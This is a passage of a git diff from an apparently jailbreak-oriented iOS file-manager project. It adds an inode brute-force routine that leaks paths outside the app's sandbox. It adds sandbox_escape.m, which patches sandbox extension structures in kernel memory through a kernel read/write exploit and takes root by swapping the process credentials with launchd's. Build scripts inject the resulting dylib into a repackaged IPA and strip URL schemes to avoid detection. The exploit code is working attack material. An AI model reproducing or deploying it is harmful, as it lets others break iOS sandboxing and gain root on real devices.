See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#import +#include +#include +#include + +// This is just a rewrite of bad_query_list to return an NSString array and run faster +// The way this works is literally just brute-forcing inodes and doing fsgetpath until it gets a matching path, lol. +// Which is still, obviously, dramatically faster than brute-forcing UUIDs. + +// It might be possible to derive a sane inode value automagically by just creating a file, doing stat() on it, getting *that* file's inode, then using that for the max_inode count. + +NSArray *pathleak(NSString *path, uint64_t max_inode) { + // Sanity checks + if (path.length == 0 || max_inode < 1) return nil; + NSString *dir = path; + while (dir.length > 1 && [dir hasSuffix: @"/"]) { // Trim trailing slash (if present) + dir = [dir substringToIndex: dir.length - 1]; + } + + // Set everything up + struct statfs sfs; + if (statfs(dir.fileSystemRepresentation, &sfs) != 0) return nil; + fsid_t fsid = sfs.f_fsid; + + + // fsgetpath is a syscall per inode. Splitting the range across the + // performance cores cuts the wall-clock time substantially on A-series + // devices; each worker owns its own bucket so no locking is required. + NSUInteger workerCount = MIN((NSUInteger)8, + MAX((NSUInteger)2, NSProcessInfo.processInfo.processorCount)); + NSMutableArray *> *buckets = + [NSMutableArray arrayWithCapacity:workerCount]; + for (NSUInteger index = 0; index < workerCount; index++) + [buckets addObject:[NSMutableArray array]]; + + uint64_t chunkSize = (max_inode + workerCount - 1) / workerCount; + dispatch_apply(workerCount, + dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), ^(size_t index) { + uint64_t start = 1 + chunkSize * (uint64_t)index; + uint64_t end = MIN(max_inode, start + chunkSize - 1); + if (start > max_inode) return; + NSMutableArray *bucket = buckets[index]; + char prefix[PATH_MAX]; + if (![dir getFileSystemRepresentation:prefix maxLength:sizeof(prefix)]) return; + size_t prefix_length = strlen(prefix); + if (prefix_length == 1 && prefix[0] == '/') prefix_length = 0; + char buffer[PATH_MAX]; + for (uint64_t inode = start; inode <= end; inode++) { + ssize_t n = fsgetpath(buffer, sizeof(buffer), &fsid, inode); + if (n <= 0) continue; + + if (strncmp(buffer, prefix, prefix_length) != 0) continue; + if (buffer[prefix_length] != '/') continue; + if (strchr(buffer + prefix_length + 1, '/')) continue; + + NSString *string = [[NSString alloc] initWithBytes:buffer + length:strlen(buffer) encoding:NSUTF8StringEncoding]; + if (string) [bucket addObject:string]; + } + }); + + NSMutableArray *result = [NSMutableArray array]; + for (NSArray *bucket in buckets) [result addObjectsFromArray:bucket]; + return result; +} + +NSArray *pathleak_roots(NSArray *roots, + NSUInteger maxDepth, + uint64_t max_inode) { + if (roots.count == 0 || max_inode < 1) return nil; + + NSString *anchor = roots.firstObject; + struct statfs sfs; + if (statfs(anchor.fileSystemRepresentation, &sfs) != 0) return nil; + fsid_t fsid = sfs.f_fsid; + + NSUInteger workerCount = MIN((NSUInteger)8, + MAX((NSUInteger)2, NSProcessInfo.processInfo.processorCount)); + NSMutableArray *> *buckets = + [NSMutableArray arrayWithCapacity:workerCount]; + for (NSUInteger index = 0; index < workerCount; index++) + [buckets addObject:[NSMutableArray array]]; + + uint64_t chunkSize = (max_inode + workerCount - 1) / workerCount; + dispatch_apply(workerCount, + dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), ^(size_t index) { + uint64_t start = 1 + chunkSize * (uint64_t)index; + uint64_t end = MIN(max_inode, start + chunkSize - 1); + if (start > max_inode) return; + + NSUInteger rootCount = roots.count; + char **prefixes = calloc(rootCount, sizeof(char *)); + size_t *lengths = calloc(rootCount, sizeof(size_t)); + if (!prefixes || !lengths) { + free(prefixes); free(lengths); return; + } + for (NSUInteger rootIndex = 0; rootIndex < rootCount; rootIndex++) { + NSString *root = roots[rootIndex]; + char value[PATH_MAX]; + if (![root getFileSystemRepresentation:value maxLength:sizeof(value)]) + continue; + prefixes[rootIndex] = strdup(value); + lengths[rootIndex] = strlen(value); + } + + NSMutableArray *bucket = buckets[index]; + char buffer[PATH_MAX]; + for (uint64_t inode = start; inode <= end; inode++) { + ssize_t n = fsgetpath(buffer, sizeof(buffer), &fsid, inode); + if (n <= 0) continue; + + for (NSUInteger rootIndex = 0; rootIndex < rootCount; rootIndex++) { + char *prefix = prefixes[rootIndex]; + size_t length = lengths[rootIndex]; + if (!prefix || length == 0) continue; + if (strncmp(buffer, prefix, length) != 0) continue; + if (buffer[length] != '/') continue; + const char *remainder = buffer + length + 1; + NSUInteger depth = 0; + for (const char *cursor = remainder; *cursor; cursor++) + if (*cursor == '/') depth++; + if (depth > maxDepth) continue; + NSString *string = [[NSString alloc] initWithBytes:buffer + length:strlen(buffer) encoding:NSUTF8StringEncoding]; + if (string) [bucket addObject:string]; + break; + } + } + + for (NSUInteger rootIndex = 0; rootIndex < rootCount; rootIndex++) + free(prefixes[rootIndex]); + free(prefixes); + free(lengths); + }); + + NSMutableArray *result = [NSMutableArray array]; + for (NSArray *bucket in buckets) [result addObjectsFromArray:bucket]; + return result; +} diff --git a/sandbox_escape.h b/sandbox_escape.h new file mode 100644 index 0000000..6c431a4 --- /dev/null +++ b/sandbox_escape.h @@ -0,0 +1,14 @@ +#ifndef sandbox_escape_h +#define sandbox_escape_h + +#include + +// Escape sandbox by rewriting sandbox extension data in kernel memory. +// Walk: proc_ro -> ucred -> cr_label -> sandbox -> ext_set -> ext_table -> ext -> data +int sandbox_escape(uint64_t self_proc); + +// Elevate to uid=0 by swapping our p_ucred pointer with launchd's. +// Fixes UNIX DAC (owner/mode) checks so chmod/chown/writes to root-owned +int sandbox_elevate_to_root(uint64_t self_proc); + +#endif diff --git a/sandbox_escape.m b/sandbox_escape.m new file mode 100644 index 0000000..bb5b977 --- /dev/null +++ b/sandbox_escape.m @@ -0,0 +1,288 @@ +/* + * sandbox_escape.m — Sandbox escape via kernel memory patching + * + * Walk proc_ro → ucred → cr_label → sandbox → ext_set → ext_table + * Patch extension paths to "/", rewrite class to "com.apple.app-sandbox.read-write" + * Fill all 16 hash slots → full R+W filesystem access + * Based on 18.3_sandbox/root.m by CrazyMind90. + */ + +#import +#include +#include +#include +#include +#include "sandbox_escape.h" +#include "kexploit/kexploit_opa334.h" +#include "kexploit/krw.h" +#include "kexploit/kutils.h" +#include "kexploit/offsets.h" + +extern void early_kread(uint64_t where, void *read_buf, size_t size); + +#define KRW_LEN 0x20 + +// Verified offsets (IDA binary analysis across 6 kernelcaches) +#define OFF_PROC_PROC_RO 0x18 // proc → proc_ro (stable 17.0-26.x) +#define OFF_PROC_RO_UCRED 0x20 // proc_ro → p_ucred (verified all versions) +#define OFF_UCRED_CR_LABEL 0x78 // ucred → cr_label (KDK struct dump) +#define OFF_LABEL_SANDBOX 0x10 // label → sandbox (MAC l_perpolicy[1]) +#define OFF_SANDBOX_EXT_SET 0x10 // sandbox → ext_set +#define OFF_EXT_DATA 0x40 // ext → data_addr +#define OFF_EXT_DATALEN 0x48 // ext → data_len + +// posix_cred lives inside ucred at +0x18 (16B cr_link + 8B cr_ref). +// Derived from OFF_UCRED_CR_LABEL=0x78 and sizeof(posix_cred)=0x60. +#define OFF_UCRED_CR_POSIX 0x18 +#define OFF_POSIX_CR_UID 0x00 +#define OFF_POSIX_CR_RUID 0x04 +#define OFF_POSIX_CR_SVUID 0x08 +#define OFF_POSIX_CR_NGROUPS 0x0C +#define OFF_POSIX_CR_GROUPS_0 0x10 // first group (cr_groups[0]) +#define OFF_POSIX_CR_RGID 0x50 +#define OFF_POSIX_CR_SVGID 0x54 +#define OFF_POSIX_CR_GMUID 0x58 +#define OFF_POSIX_CR_FLAGS 0x5C + +#ifdef __arm64e__ +static uint64_t __attribute((naked)) __xpaci_sbx(uint64_t a) { + asm(".long 0xDAC143E0"); + asm("ret"); +} +#else +#define __xpaci_sbx(x) (x) +#endif + +extern uint64_t VM_MIN_KERNEL_ADDRESS; +extern uint64_t pac_mask; + +#define S(x) ({ uint64_t _v = __xpaci_sbx(x); \ + ((_v >> 32) > 0xFFFF ? (_v | pac_mask) : _v); }) +#define K(x) ((x) > VM_MIN_KERNEL_ADDRESS) + +#pragma mark - Extension patching + +static void patch_ext(uint64_t ext) { + uint64_t da = early_kread64(ext + OFF_EXT_DATA); + uint64_t dl = early_kread64(ext + OFF_EXT_DATALEN); + if (K(da) && dl > 0) { + uint8_t buf[KRW_LEN]; + early_kread(da, buf, KRW_LEN); + buf[0] = '/'; buf[1] = 0; + early_kwrite32bytes(da, buf); + } + uint8_t chunk[KRW_LEN]; + early_kread(ext + OFF_EXT_DATA, chunk, KRW_LEN); + *(uint64_t*)(chunk + 0x08) = 1; + *(uint64_t*)(chunk + 0x10) = 0xFFFFFFFFFFFFFFFFULL; + early_kwrite32bytes(ext + OFF_EXT_DATA, chunk); +} + +static int patch_chain(uint64_t hdr) { + int n = 0; + for (int i = 0; i < 64 && K(hdr); i++) { + uint64_t ext = S(early_kread64(hdr + 0x8)); + if (K(ext)) { patch_ext(ext); n++; } + uint64_t next = early_kread64(hdr); + if (!next || !K(next)) break; + hdr = S(next); + } + return n; +} + +static void set_rw_class(uint64_t hdr) { + uint64_t ext = S(early_kread64(hdr + 0x8)); + if (!K(ext)) return; + uint64_t da = early_kread64(ext + OFF_EXT_DATA); + if (!K(da)) return; + + const char *rw = "com.apple.app-sandbox.read-write"; + uint8_t b1[KRW_LEN], b2[KRW_LEN]; + memset(b1, 0, KRW_LEN); memset(b2, 0, KRW_LEN); + memcpy(b1, rw, KRW_LEN); + early_kwrite32bytes(da + 32, b1); + early_kwrite32bytes(da + 64, b2); + + uint8_t hb[KRW_LEN]; + early_kread(hdr, hb, KRW_LEN); + *(uint64_t*)(hb + 0x10) = da + 32; + early_kwrite32bytes(hdr, hb); +} + +#pragma mark - Main entry + +int sandbox_escape(uint64_t self_proc) { + if (!self_proc) { NSLog(@"[SBX] self_proc is NULL"); return -1; } + + uint64_t proc_ro_raw = early_kread64(self_proc + OFF_PROC_PROC_RO); + uint64_t proc_ro = S(proc_ro_raw); + NSLog(@"[SBX] self_proc=0x%llx proc_ro_raw=0x%llx proc_ro=0x%llx", self_proc, proc_ro_raw, proc_ro); + if (!K(proc_ro)) { NSLog(@"[SBX] proc_ro invalid"); return -1; } + + // Scan proc_ro for ucred — offset varies by iOS build. + // p_ucred is an SMR pointer. Dump offsets 0x10-0x40 to find it. + NSLog(@"[SBX] Scanning proc_ro for ucred..."); + uint64_t ucred = 0; + for (uint32_t off = 0x10; off <= 0x40; off += 0x8) { + uint64_t raw = early_kread64(proc_ro + off); + uint64_t smr = kread_smrptr(proc_ro + off); + uint64_t pac = S(raw); + NSLog(@"[SBX] proc_ro+0x%x: raw=0x%llx smr=0x%llx pac=0x%llx", off, raw, smr, pac); + + // Check if smr-decoded value looks like ucred (cr_label at +0x78 is a kernel ptr) + if (K(smr)) { + uint64_t maybe_label = S(early_kread64(smr + 0x78)); + if (K(maybe_label)) { + uint64_t maybe_sandbox = S(early_kread64(maybe_label + 0x10)); + if (K(maybe_sandbox)) { + NSLog(@"[SBX] Found ucred at proc_ro+0x%x (SMR) = 0x%llx", off, smr); + ucred = smr; + break; + } + } + } + // Also try PAC-stripped + if (!ucred && K(pac)) { + uint64_t maybe_label = S(early_kread64(pac + 0x78)); + if (K(maybe_label)) { + uint64_t maybe_sandbox = S(early_kread64(maybe_label + 0x10)); + if (K(maybe_sandbox)) { + NSLog(@"[SBX] Found ucred at proc_ro+0x%x (PAC) = 0x%llx", off, pac); + ucred = pac; + break; + } + } + } + } + if (!K(ucred)) { NSLog(@"[SBX] ucred not found in proc_ro"); return -1; } + + uint64_t label = S(early_kread64(ucred + OFF_UCRED_CR_LABEL)); + if (!K(label)) { NSLog(@"[SBX] cr_label invalid"); return -1; } + + uint64_t sandbox = S(early_kread64(label + OFF_LABEL_SANDBOX)); + if (!K(sandbox)) { NSLog(@"[SBX] sandbox invalid"); return -1; } + + uint64_t ext_set = S(early_kread64(sandbox + OFF_SANDBOX_EXT_SET)); + if (!K(ext_set)) { NSLog(@"[SBX] ext_set invalid"); return -1; } + + NSLog(@"[SBX] proc_ro=0x%llx ucred=0x%llx label=0x%llx sandbox=0x%llx ext_set=0x%llx", + proc_ro, ucred, label, sandbox, ext_set); + + int patched = 0; + for (int s = 0; s < 16; s++) { + uint64_t hdr = S(early_kread64(ext_set + s * 8)); + if (K(hdr)) patched += patch_chain(hdr); + } + NSLog(@"[SBX] Patched %d extensions", patched); + + int classed = 0; + for (int s = 0; s < 16; s++) { + uint64_t hdr = S(early_kread64(ext_set + s * 8)); + if (K(hdr) && K(early_kread64(hdr + 0x10))) { set_rw_class(hdr); classed++; } + } + NSLog(@"[SBX] Changed %d extension classes", classed); + + uint64_t src = 0; + for (int s = 0; s < 16 && !src; s++) { + uint64_t h = S(early_kread64(ext_set + s * 8)); + if (K(h)) src = h; + } + if (src) { + int filled = 0; + for (int s = 0; s < 16; s++) { + uint64_t h = early_kread64(ext_set + s * 8); + if (!h || !K(h)) { early_kwrite64(ext_set + s * 8, src); filled++; } + } + NSLog(@"[SBX] Filled %d empty hash slots", filled); + } + + int fd_w = open("/var/mobile/.sbx_test", O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd_w >= 0) { close(fd_w); unlink("/var/mobile/.sbx_test"); } + + if (fd_w >= 0) { + NSLog(@"[SBX] *** SANDBOX ESCAPED (R+W) ***"); + return 0; + } + + NSLog(@"[SBX] Sandbox escape verification failed (errno=%d: %s)", errno, strerror(errno)); + return -1; +} + +#pragma mark - UID elevation (uid=0 via launchd ucred swap) + +// Scan proc_ro in [0x10..0x40] for a valid ucred pointer. +// A valid ucred has cr_label at +0x78 pointing to a kernel addr +static int sbx_find_ucred_slot(uint64_t proc, uint64_t *ucred_out, uint32_t *off_out) { + if (!proc) return -1; + uint64_t proc_ro = S(early_kread64(proc + OFF_PROC_PROC_RO)); + if (!K(proc_ro)) return -1; + + for (uint32_t off = 0x10; off <= 0x40; off += 0x8) { + uint64_t raw = early_kread64(proc_ro + off); + uint64_t smr = kread_smrptr(proc_ro + off); + uint64_t pac = S(raw); + uint64_t cands[2] = { smr, pac }; + for (int i = 0; i < 2; i++) { + uint64_t c = cands[i]; + if (!K(c)) continue; + uint64_t lbl = S(early_kread64(c + OFF_UCRED_CR_LABEL)); + if (!K(lbl)) continue; + uint64_t sbx = S(early_kread64(lbl + OFF_LABEL_SANDBOX)); + if (K(sbx)) { + *ucred_out = c; + *off_out = off; + return 0; + } + } + } + return -1; +} + +static uint64_t sbx_ucredbyproc(uint64_t proc) { + uint64_t ucred = 0; + uint32_t off = 0; + if (sbx_find_ucred_slot(proc, &ucred, &off) != 0) return 0; + return ucred; +} + +int sandbox_elevate_to_root(uint64_t self_proc) { + uint64_t launchd = proc_find_by_name("launchd"); + if (!launchd || launchd == (uint64_t)-1) { + NSLog(@"[SBX] elevate: procbyname(\"launchd\") failed; trying pid 1 fallback"); + launchd = proc_find(1); + if (launchd && launchd != (uint64_t)-1) { + NSLog(@"[SBX] elevate: resolved launchd via pid 1 fallback: 0x%llx", launchd); + } + } + if (!launchd || launchd == (uint64_t)-1) { + NSLog(@"[SBX] elevate: could not find launchd"); + return -1; + } + + uint64_t launchducred = sbx_ucredbyproc(launchd); + if (!launchducred) { + NSLog(@"[SBX] elevate: failed to get valid ucred from launchd"); + return -1; + } + NSLog(@"[SBX] elevate: launchd ucred: 0x%llx", launchducred); + + if (!self_proc) { + NSLog(@"[SBX] elevate: failed to get our proc"); + return -1; + } + NSLog(@"[SBX] elevate: ourproc: 0x%llx", self_proc); + + uint64_t ourucredraw = early_kread64(self_proc + 0x10); + uint64_t ourucred = S(ourucredraw); + NSLog(@"[SBX] elevate: ourucred: 0x%llx", ourucred); + + early_kwrite64(self_proc + 0x10, launchducred); + + if (getuid() == 0) { + NSLog(@"[SBX] elevate success!"); + return 0; + } + + NSLog(@"[SBX] elevate failed, uid: %d", getuid()); + return -1; +} diff --git a/scripts/build_developer.sh b/scripts/build_developer.sh new file mode 100755 index 0000000..218c2c3 --- /dev/null +++ b/scripts/build_developer.sh @@ -0,0 +1,32 @@ +#!/bin/zsh +# Build the developer Filza 27.2 IPA: public features plus the full terminal, +# apt/dpkg, SSH server, mount, archive extraction and respring. +# +# Required environment: +# BASE_IPA path to FilzaSlop-v1.2.0-unsigned.ipa +# ASHELL_IPA path to a signed/unsigned a-Shell IPA that supplies the +# command frameworks and resources +# WQ_APP_GROUPS at least one App Group from the signing profile +# Optional: +# PROFILE, ENTITLEMENTS, SIGN_IDENTITY, KEYCHAIN +# BUNDLE_ID (default com.jbjf.filzanb) +# APP_DISPLAY_NAME (default filza27.2) +set -euo pipefail + +ROOT="${0:A:h:h}" +BASE_IPA="${BASE_IPA:-$ROOT/base/FilzaSlop-v1.2.0-unsigned.ipa}" +OUTPUT="${1:-$ROOT/build/filza_develop.ipa}" +export BUNDLE_ID="${BUNDLE_ID:-com.jbjf.filzanb}" +export APP_DISPLAY_NAME="${APP_DISPLAY_NAME:-filza27.2}" +export FILZASLOP_VERSION="${FILZASLOP_VERSION:-wq-27.2-developer}" +export WQ_TERMINAL=full +export ASHELL_IPA="${ASHELL_IPA:-$HOME/Downloads/Terminal.ipa}" +: "${WQ_APP_GROUPS:?set WQ_APP_GROUPS to the App Group(s) in your profile}" +[[ -f "$ASHELL_IPA" ]] || { + echo "a-Shell IPA not found: $ASHELL_IPA" >&2 + echo "Set ASHELL_IPA to a-Shell (or a-Shell mini) IPA." >&2 + exit 66 +} + +mkdir -p "${OUTPUT:h}" +exec "$ROOT/scripts/build_wq_ipa.sh" "$BASE_IPA" "$OUTPUT" diff --git a/scripts/build_public.sh b/scripts/build_public.sh new file mode 100755 index 0000000..7b893e6 --- /dev/null +++ b/scripts/build_public.sh @@ -0,0 +1,23 @@ +#!/bin/zsh +# Build the public Filza 27.2 IPA (no terminal, SSH server or package CLI). +# +# Required environment: +# BASE_IPA path to FilzaSlop-v1.2.0-unsigned.ipa +# WQ_APP_GROUPS at least one App Group from the signing profile +# Optional: +# PROFILE, ENTITLEMENTS, SIGN_IDENTITY, KEYCHAIN +# BUNDLE_ID (default com.jbjf.filza) +# APP_DISPLAY_NAME (default filza27.2) +set -euo pipefail + +ROOT="${0:A:h:h}" +BASE_IPA="${BASE_IPA:-$ROOT/base/FilzaSlop-v1.2.0-unsigned.ipa}" +OUTPUT="${1:-$ROOT/build/filza_public.ipa}" +export BUNDLE_ID="${BUNDLE_ID:-com.jbjf.filza}" +export APP_DISPLAY_NAME="${APP_DISPLAY_NAME:-filza27.2}" +export FILZASLOP_VERSION="${FILZASLOP_VERSION:-wq-27.2-public}" +: "${WQ_APP_GROUPS:?set WQ_APP_GROUPS to the App Group(s) in your profile}" +unset WQ_TERMINAL + +mkdir -p "${OUTPUT:h}" +exec "$ROOT/scripts/build_wq_ipa.sh" "$BASE_IPA" "$OUTPUT" diff --git a/scripts/build_release.sh b/scripts/build_release.sh new file mode 100755 index 0000000..e50cb5a --- /dev/null +++ b/scripts/build_release.sh @@ -0,0 +1,14 @@ +#!/bin/zsh +# Build both release artifacts: +# build/filza_public.ipa +# build/filza_develop.ipa +set -euo pipefail + +ROOT="${0:A:h:h}" +"$ROOT/scripts/build_public.sh" "$ROOT/build/filza_public.ipa" +"$ROOT/scripts/build_developer.sh" "$ROOT/build/filza_develop.ipa" + +echo +echo "==> Release artifacts" +ls -lh "$ROOT/build/filza_public.ipa" "$ROOT/build/filza_develop.ipa" +shasum -a 256 "$ROOT/build/filza_public.ipa" "$ROOT/build/filza_develop.ipa" diff --git a/scripts/build_release_ipa.sh b/scripts/build_release_ipa.sh new file mode 100755 index 0000000..691f028 --- /dev/null +++ b/scripts/build_release_ipa.sh @@ -0,0 +1,91 @@ +#!/bin/zsh +set -euo pipefail + +if (( $# < 2 || $# > 3 )); then + echo "usage: $0 [MCMIdentifiers.plist]" >&2 + exit 64 +fi + +BASE_IPA="${1:A}" +OUTPUT_IPA="${2:A}" +CATALOG="${3:-}" +if [[ -n "$CATALOG" ]]; then + CATALOG="${CATALOG:A}" +fi + +REPO_ROOT="${0:A:h:h}" +THEOS="${THEOS:-$HOME/theos}" +export THEOS + +FILZASLOP_VERSION="${FILZASLOP_VERSION:-$( + git -C "$REPO_ROOT" describe --tags --exact-match HEAD 2>/dev/null || true +)}" +if [[ -z "$FILZASLOP_VERSION" || ${#FILZASLOP_VERSION} -gt 64 || + "$FILZASLOP_VERSION" == *[^A-Za-z0-9._-]* ]]; then + echo "invalid FilzaSlop version: $FILZASLOP_VERSION" >&2 + echo "tag the release commit or set FILZASLOP_VERSION explicitly" >&2 + exit 65 +fi + +[[ -f "$BASE_IPA" ]] || { echo "base IPA not found: $BASE_IPA" >&2; exit 66; } +if [[ -n "$CATALOG" ]]; then + [[ -f "$CATALOG" ]] || { echo "catalog not found: $CATALOG" >&2; exit 66; } + plutil -lint "$CATALOG" >/dev/null + plutil -extract AppData xml1 -o /dev/null "$CATALOG" +fi + +cd "$REPO_ROOT" +make clean +make package FINALPACKAGE=1 + +DYLIB="$REPO_ROOT/.theos/obj/FilzaApplySandboxExt.dylib" +[[ -f "$DYLIB" ]] || { echo "built dylib not found: $DYLIB" >&2; exit 70; } + +STAGE_ROOT="$(mktemp -d /tmp/FilzaSlop-release.XXXXXX)" +trap 'trash "$STAGE_ROOT"' EXIT +unzip -q "$BASE_IPA" -d "$STAGE_ROOT/stage" + +APP="$(find "$STAGE_ROOT/stage/Payload" -maxdepth 1 -type d -name '*.app' -print -quit)" +[[ -n "$APP" ]] || { echo "Payload app not found" >&2; exit 65; } + +BUNDLE_ID="$(plutil -extract CFBundleIdentifier raw -o - "$APP/Info.plist")" +[[ "$BUNDLE_ID" == "com.apple.mobile.MobileHouseArrest" ]] || { + echo "unexpected bundle identifier: $BUNDLE_ID" >&2 + exit 65 +} + +if codesign -d "$APP" >/dev/null 2>&1; then + echo "base app is signed; use an unsigned base IPA" >&2 + exit 65 +fi + +cp "$DYLIB" "$APP/Frameworks/FilzaApplySandboxExt.dylib" +codesign --remove-signature "$APP/Frameworks/FilzaApplySandboxExt.dylib" + +# Strip URL schemes (filza://, Dropbox, Box SDK) — detectable via canOpenURL: +plutil -remove CFBundleURLTypes "$APP/Info.plist" 2>/dev/null || true +if plutil -extract CFBundleURLTypes xml1 -o /dev/null "$APP/Info.plist" \ + >/dev/null 2>&1; then + echo "failed to remove CFBundleURLTypes from the release app" >&2 + exit 65 +fi + +plutil -replace FilzaSlopVersion -string "$FILZASLOP_VERSION" \ + "$APP/Info.plist" 2>/dev/null || + plutil -insert FilzaSlopVersion -string "$FILZASLOP_VERSION" "$APP/Info.plist" + +if [[ -n "$CATALOG" ]]; then + cp "$CATALOG" "$APP/MCMIdentifiers.plist" +elif [[ -e "$APP/MCMIdentifiers.plist" ]]; then + trash "$APP/MCMIdentifiers.plist" +fi + +if [[ -e "$OUTPUT_IPA" ]]; then + trash "$OUTPUT_IPA" +fi +( + cd "$STAGE_ROOT/stage" + zip -qry "$OUTPUT_IPA" Payload +) + +shasum -a 256 "$OUTPUT_IPA" diff --git a/scripts/build_wq_ipa.sh b/scripts/build_wq_ipa.sh new file mode 100755 index 0000000..a717cda --- /dev/null +++ b/scripts/build_wq_ipa.sh @@ -0,0 +1,171 @@ +#!/bin/zsh +# Build the worse_query edition of FilzaSlop and repackage a Filza IPA. +# +# Usage: +# scripts/build_wq_ipa.sh +# +# Environment: +# BUNDLE_ID Bundle identifier to write into the app (default: +# com.filzaslop.worsequery). It must match the App ID in the +# provisioning profile used for signing. +# WQ_APP_GROUPS Space-separated App Group identifiers. At least one is +# required for worse_query at runtime. +# ENTITLEMENTS Optional entitlements plist. When omitted, the app is +# ad-hoc signed with the groups from WQ_APP_GROUPS. +# SIGN_IDENTITY Optional codesign identity. Omit for an unsigned/ad-hoc +# IPA suitable for third-party signing. +# KEYCHAIN Optional keychain path for SIGN_IDENTITY. +# PROFILE Optional .mobileprovision copied to embedded.mobileprovision. +# FILZASLOP_VERSION Version string shown by the update checker. +set -euo pipefail + +if (( $# != 2 )); then + echo "usage: $0 " >&2 + exit 64 +fi + +BASE_IPA="${1:A}" +OUTPUT_IPA="${2:A}" +REPO_ROOT="${0:A:h:h}" +THEOS="${THEOS:-$HOME/theos}" +BUNDLE_ID="${BUNDLE_ID:-com.jbjf.filza}" +APP_DISPLAY_NAME="${APP_DISPLAY_NAME:-filza27.2}" +WQ_APP_GROUPS="${WQ_APP_GROUPS:-}" +FILZASLOP_VERSION="${FILZASLOP_VERSION:-wq-27.2-1.0}" +SIGN_IDENTITY="${SIGN_IDENTITY:-}" +KEYCHAIN="${KEYCHAIN:-}" +PROFILE="${PROFILE:-}" +ENTITLEMENTS="${ENTITLEMENTS:-}" + +[[ -f "$BASE_IPA" ]] || { echo "base IPA not found: $BASE_IPA" >&2; exit 66; } +[[ -d "$THEOS" ]] || { echo "Theos not found: $THEOS" >&2; exit 66; } +if [[ -z "$WQ_APP_GROUPS" ]]; then + echo "WQ_APP_GROUPS is required (space-separated group identifiers)" >&2 + exit 65 +fi + +export THEOS +export PATH="$THEOS/bin:$PATH" +# Theos' bundled ldid may not run on current macOS builds. codesign is enough +# for the intermediate dylib; final app signing happens below. +export TARGET_CODESIGN="${TARGET_CODESIGN:-codesign}" +export TARGET_CODESIGN_FLAGS="${TARGET_CODESIGN_FLAGS:---force --sign -}" + +echo "==> Building FilzaApplySandboxExt.dylib" +cd "$REPO_ROOT" +make clean >/dev/null +make FINALPACKAGE=1 +DYLIB="$REPO_ROOT/.theos/obj/FilzaApplySandboxExt.dylib" +[[ -f "$DYLIB" ]] || DYLIB="$REPO_ROOT/.theos/obj/debug/FilzaApplySandboxExt.dylib" +[[ -f "$DYLIB" ]] || { echo "built dylib not found" >&2; exit 70; } + +STAGE_ROOT="$(mktemp -d /private/tmp/FilzaSlop-WQ.XXXXXX)" +trap 'rm -rf "$STAGE_ROOT"' EXIT +unzip -q "$BASE_IPA" -d "$STAGE_ROOT/stage" +APP="$(find "$STAGE_ROOT/stage/Payload" -maxdepth 1 -type d -name '*.app' -print -quit)" +[[ -n "$APP" ]] || { echo "Payload app not found" >&2; exit 65; } + +# The bundled Sharing extension has its own App ID and cannot be authorized by +# the single-App-ID profile used for normal signing. +rm -rf "$APP/PlugIns" + +echo "==> Patching Info.plist" +plutil -replace CFBundleIdentifier -string "$BUNDLE_ID" "$APP/Info.plist" +plutil -replace CFBundleDisplayName -string "$APP_DISPLAY_NAME" "$APP/Info.plist" 2>/dev/null || \ + plutil -insert CFBundleDisplayName -string "$APP_DISPLAY_NAME" "$APP/Info.plist" +plutil -replace CFBundleName -string "$APP_DISPLAY_NAME" "$APP/Info.plist" 2>/dev/null || \ + plutil -insert CFBundleName -string "$APP_DISPLAY_NAME" "$APP/Info.plist" +plutil -replace FilzaSlopVersion -string "$FILZASLOP_VERSION" "$APP/Info.plist" 2>/dev/null || \ + plutil -insert FilzaSlopVersion -string "$FILZASLOP_VERSION" "$APP/Info.plist" +plutil -remove CFBundleURLTypes "$APP/Info.plist" 2>/dev/null || true +plutil -insert NSLocalNetworkUsageDescription -string \ + "FilzaSlop runs a local WebDAV server so you can browse device storage from a computer." \ + "$APP/Info.plist" 2>/dev/null || true +plutil -insert NSBonjourServices -json '["_http._tcp.","_webdav._tcp."]' \ + "$APP/Info.plist" 2>/dev/null || true + +# Runtime-readable copy of the groups (SecTask is the primary source). +groups_json="[" +first=1 +for group in ${(s: :)WQ_APP_GROUPS}; do + [[ -n "$group" ]] || continue + if (( first == 0 )); then groups_json+=","; fi + groups_json+="\"$group\"" + first=0 +done +groups_json+="]" +plutil -remove WQAppGroups "$APP/Info.plist" 2>/dev/null || true +plutil -insert WQAppGroups -json "$groups_json" "$APP/Info.plist" + +echo "==> Adding bundled test files" +mkdir -p "$APP/WQTestFiles" +if [[ -f "$REPO_ROOT/tests/test.deb" ]]; then + cp "$REPO_ROOT/tests/test.deb" "$APP/WQTestFiles/test.deb" +fi +if [[ -f "$REPO_ROOT/tests/test" ]]; then + cp "$REPO_ROOT/tests/test" "$APP/WQTestFiles/test" + chmod 0755 "$APP/WQTestFiles/test" +fi + +echo "==> Injecting dylib" +mkdir -p "$APP/Frameworks" +cp "$DYLIB" "$APP/Frameworks/FilzaApplySandboxExt.dylib" +codesign --remove-signature "$APP/Frameworks/FilzaApplySandboxExt.dylib" 2>/dev/null || true + +if [[ "${WQ_TERMINAL:-0}" == "full" ]]; then + ASHELL_IPA="${ASHELL_IPA:-$HOME/Downloads/Terminal.ipa}" + "$REPO_ROOT/scripts/prepare_dev_terminal.sh" "$APP" "$ASHELL_IPA" + cp "$REPO_ROOT/vendor/libssh/libssh.4.dylib" "$APP/Frameworks/libssh.4.dylib" +elif [[ "${WQ_TERMINAL:-0}" == "1" ]]; then + ASHELL_IPA="${ASHELL_IPA:-$HOME/Downloads/Terminal.ipa}" + "$REPO_ROOT/scripts/prepare_mini_terminal.sh" "$APP" "$ASHELL_IPA" +fi + +if [[ -n "$PROFILE" ]]; then + [[ -f "$PROFILE" ]] || { echo "profile not found: $PROFILE" >&2; exit 66; } + cp "$PROFILE" "$APP/embedded.mobileprovision" +fi + +if [[ -n "$ENTITLEMENTS" ]]; then + [[ -f "$ENTITLEMENTS" ]] || { echo "entitlements not found: $ENTITLEMENTS" >&2; exit 66; } + plutil -lint "$ENTITLEMENTS" >/dev/null +else + ENTITLEMENTS="$STAGE_ROOT/wq-entitlements.plist" + { + echo '' + echo '' + echo '' + echo 'com.apple.security.application-groups' + for group in ${(s: :)WQ_APP_GROUPS}; do + [[ -n "$group" ]] && echo "$group" + done + echo '' + } > "$ENTITLEMENTS" +fi + +echo "==> Signing nested code" +sign_args=(--force --timestamp=none) +if [[ -n "$SIGN_IDENTITY" ]]; then + sign_args+=(--sign "$SIGN_IDENTITY") + [[ -n 